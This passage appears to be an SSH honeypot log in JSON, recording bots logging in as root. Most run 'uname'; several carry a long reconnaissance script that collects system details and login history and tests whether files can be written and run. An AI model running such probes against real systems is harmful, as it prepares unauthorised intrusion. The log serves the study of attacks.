  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:55:33.918558+00:00",
  "ended_at": "2026-08-24T08:55:38.431097+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8ba06e4d-3bee-43fe-b78f-5214aa62c7c3",
  "name": "quartz-cosmic-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 289,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:55:32.823205+00:00",
  "ended_at": "2026-08-24T08:55:36.315327+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1bf15b8a-70d6-41c0-84ea-b036562c52c6",
  "name": "merry-spirited-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38016,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:54:55.225237+00:00",
  "ended_at": "2026-08-24T08:54:59.120324+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4b63e58d-03c0-48f7-a86a-85e9607dde36",
  "name": "mellow-sturdy-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:54:46.896208+00:00",
  "ended_at": "2026-08-24T08:54:52.004357+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "13c84025-3ee8-41cb-aa41-627f6478a726",
  "name": "blazing-brave-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:54:29.022714+00:00",
  "ended_at": "2026-08-24T08:54:32.491358+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07027ee5-4a7b-4255-bfd1-cebb3e6efa5a",
  "name": "steady-upland-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:54:10.996441+00:00",
  "ended_at": "2026-08-24T08:54:15.889393+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "28b125cb-2f33-4919-8765-e5dc46597dd2",
  "name": "dappled-plush-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 55334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:53:51.820597+00:00",
  "ended_at": "2026-08-24T08:53:55.485245+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "faf34470-9790-4eb5-b54a-d8a6f1d5a6ef",
  "name": "solemn-marine-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:53:37.682748+00:00",
  "ended_at": "2026-08-24T08:53:43.516808+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4c08c844-1ca3-44a7-9e52-d40cc2f64de0",
  "name": "humble-cobalt-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53820,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:53:08.038621+00:00",
  "ended_at": "2026-08-24T08:53:12.036060+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "babe5837-4089-4e25-ba2a-5d98c89e7b13",
  "name": "rustic-sooty-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53794,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:52:55.127652+00:00",
  "ended_at": "2026-08-24T08:52:59.515286+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe8cca37-e0a0-4941-93a9-189bcc619a45",
  "name": "scarlet-idle-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:52:48.309270+00:00",
  "ended_at": "2026-08-24T08:52:51.241140+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "458f6efd-073b-4b58-b1ac-b0b643f3cf2f",
  "name": "coastal-marine-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:51:47.634259+00:00",
  "ended_at": "2026-08-24T08:51:50.341261+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a4456c13-68bb-409b-b6af-806ba03b6b93",
  "name": "pleasant-golden-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:51:34.095399+00:00",
  "ended_at": "2026-08-24T08:51:38.689686+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "823209c5-b560-42f1-b249-9635a582ab3f",
  "name": "civil-orderly-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 241,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:51:27.486818+00:00",
  "ended_at": "2026-08-24T08:51:30.447827+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92d06bf4-3a74-4b4c-84de-e7c0551d4dd4",
  "name": "bold-brave-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 43480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 381,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:51:15.535386+00:00",
  "ended_at": "2026-08-24T08:51:21.049380+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f9594025-6fe2-48af-bbd9-8a9eb115703c",
  "name": "electric-bold-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 43702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 363,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:51:08.305027+00:00",
  "ended_at": "2026-08-24T08:51:11.049697+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "55fd619a-1097-4b9c-a48d-1fea9b927428",
  "name": "keen-burly-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:50:53.447692+00:00",
  "ended_at": "2026-08-24T08:50:58.147005+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c92aca98-1d90-4d8d-ad11-f72405b82298",
  "name": "feathered-hazel-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 363,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:50:47.612319+00:00",
  "ended_at": "2026-08-24T08:50:51.582006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d25b5e2f-6073-4f70-9ac4-b0b20e6e7749",
  "name": "keen-ashen-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:50:02.112134+00:00",
  "ended_at": "2026-08-24T08:50:06.407074+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3cc0799-dafc-4ef7-926b-9f9d08b71b73",
  "name": "creaky-silent-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 58378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-24T08:49:46.428930+00:00",
  "ended_at": "2026-08-24T08:49:46.788285+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "25d76a58-90c3-4a74-a542-07166be9fd00",
  "name": "gnarled-ruddy-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 55442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-24T08:47:48.744341+00:00",
  "ended_at": "2026-08-24T08:47:48.968757+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "528ea67b-b587-455a-8a6c-d4a29431ba82",
  "name": "coral-earnest-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:47:18.731663+00:00",
  "ended_at": "2026-08-24T08:47:20.799190+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aad5ccb6-64bb-4b05-8aa6-98feea8ca825",
  "name": "craggy-sandy-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.47.11",
  "src_port": 58248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:47:04.038773+00:00",
  "ended_at": "2026-08-24T08:47:05.903296+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a26bba13-1e53-4e81-972d-369bf7efe0e4",
  "name": "daring-placid-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 830,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:46:46.915778+00:00",
  "ended_at": "2026-08-24T08:46:49.085932+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b147d067-66b7-46e7-b17b-ecdbc995b41b",
  "name": "rapid-weathered-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 43496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 826,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:46:39.043143+00:00",
  "ended_at": "2026-08-24T08:46:41.381793+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "735c7f89-4a63-49ef-9756-de1aea70a544",
  "name": "thorny-gloomy-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:46:35.152768+00:00",
  "ended_at": "2026-08-24T08:46:37.886418+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad018bf4-9ded-4823-8d1d-1331e148923a",
  "name": "emerald-golden-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.47.11",
  "src_port": 38856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:46:30.532092+00:00",
  "ended_at": "2026-08-24T08:46:36.092261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0218e12e-e249-44a5-9575-bf1c069e184c",
  "name": "velvet-cunning-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41284,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 2427,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:46:26.791762+00:00",
  "ended_at": "2026-08-24T08:46:36.093460+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "fd4ad254-d068-4e40-8712-d06c50e70855",
  "name": "languid-scarlet-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 52532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-24T08:45:54.007603+00:00",
  "ended_at": "2026-08-24T08:45:54.258121+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "414161d5-33be-402b-b1f6-49c98ac8f205",
  "name": "scarlet-valiant-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.47.11",
  "src_port": 57344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:45:07.880804+00:00",
  "ended_at": "2026-08-24T08:45:13.143669+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ad3969b-54e6-487e-86c4-d3f8cfe10be5",
  "name": "daring-amiable-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 49652,
  "username": "root",
